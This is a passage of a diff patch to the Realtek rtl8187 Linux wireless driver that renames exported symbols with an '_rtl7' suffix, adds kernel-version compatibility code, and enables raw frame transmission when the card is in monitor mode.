destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + 